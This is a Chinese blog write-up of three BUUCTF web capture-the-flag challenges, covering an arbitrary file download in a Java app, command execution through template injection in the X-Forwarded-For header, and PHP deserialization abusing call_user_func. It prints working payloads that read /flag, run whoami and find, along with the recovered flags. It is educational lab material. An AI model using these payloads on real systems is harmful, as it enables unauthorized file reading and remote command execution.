BUUCTF Web [RoarCTF 2019]Easy Java1 & [BJDCTF2020]The mystery of ip1 & [网鼎杯 2020 朱雀组]phpweb1

目录

 

[RoarCTF 2019]Easy Java1

​编辑

[BJDCTF2020]The mystery of ip1

[网鼎杯 2020 朱雀组]phpweb1


 

[RoarCTF 2019]Easy Java1

启动靶机

a0c4b33f3d5841ed9a649f9e251a38fb.bmp

 尝试一些弱口令,万能密码,发现都不可行。点击help

fdf0d1a68c4c4c36a5c473750d977fc3.png

观察此页面的url

39b69232796340109e3f8fe05b94ddd0.png

对于我这种java不太好的,似乎没啥思路了,看了看大佬的wp

这道题利用的任意下载漏洞,打开hackbar,使用POST传参

a3b5e167bcd54d7fa2a9640e3a0a14d5.png

打开这个文件看一看,发现了一个与flag相关的

f9282078f42847eda95c13cc73abd64b.png

 构造路径访问一下

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 下载完后,使用java在线反编译(JAVA反向工程网),下载反编译后的文件

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
   name = "FlagController"
)
public class FlagController extends HttpServlet {

   String flag = "ZmxhZ3tmY2QwZmRhOC1hYWFkLTQ1YTAtOTZkZS1kYWFkZGI2ZTdhZjJ9Cg==";


   protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
      PrintWriter var3 = var2.getWriter();
      var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
   }
}

可以看到一行flag

c52d4c83e5a646d48765dbcb846e7948.png

复制到base64在线解密中

ad61466cefea4521b80c475aed9a4c67.png

拿到flag               flag{fcd0fda8-aaad-45a0-96de-daaddb6e7af2} 

[BJDCTF2020]The mystery of ip1

启动靶机

f9430a7f890f43119a1996439f4f7177.png

发现左上角三个标签,点击Flag

9ff0e2aefb46441284e71e04067f8098.png

直接返回了一个ip地址,但是我的ip与页面返回的并不相同。

看来需要抓包改ip尝试了,启动burp,点击Flag,抓一下包

增加X-Forwarded-For,重放

X-Forwarded-For:127.0.0.1

6829d8d8b8904844bbcbc184c7fabc18.png

猜测XFF处可能存在命令执行

X-Forwarded-For:{{system(whoami)}}

69692b12fdfe4d8586a934d4b2ce7514.png

 既然可以命令执行,直接读/flag

X-Forwarded-For:{{system('cat /flag')}}

 3593c50bb2ef401bae06c30019753e79.bmp

 Forward放包

8a578bc219b6414eb941f7764e21b83b.png

拿到flag                  flag{1dda6480-b436-4dcd-8ab8-5d0c32943cb3}  

[网鼎杯 2020 朱雀组]phpweb1

启动靶机,又是熟悉的笑川(大头照就不截了)。

右键看一下源码,js中每隔五秒自动刷新。

还没什么思路,抓个包看看吧

01ffac5f6d684a48bc73353f5267f0ff.png

发现POST穿了两个参数,这应该是与call_user_func()函数有关。

传参查看index.php的源码

func=file_get_contents&p=index.php

9ef4a638ff92480ab871c1f8e2e79a13.png

发现了一段序列化的内容

   class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }

 编写脚本

<?php
class Test {
    var $p = "whoami";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);

?>

复制到php在线编译中

341b54130e524481bf20b8c8ae874582.png

 拿到序列化的结果,构造payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:6:"whoami";s:4:"func";s:6:"system";}

b6adc7100b0740b4b3e6358768005995.png

发现whoami可以成功执行,直接构造payload来查看/flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:9:"cat /flag";s:4:"func";s:6:"system";}

7a4abea4958d4a50943350cb0d1ad5f0.png

发现无任何回显,看来flag不在/flag中,构造payload查找flag在哪 (需要遍历查找,所以请求时间会长一点)

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

8f56436771a34edca6ac97664efa9626.png

 盲猜flag放在最短的文件中,构造payload

func=readfile&p=/tmp/flagoefiu4r93

38fcf51d1e384267bc6fa41bfe718c39.png

拿到flag           flag{8c3bc62f-357b-4e25-bb79-ac92e34b7267} 

这道题主要考察了call_user_func()函数如何去调用系统命令,感兴趣的可以看一看这篇文章

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WmVicmE=

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值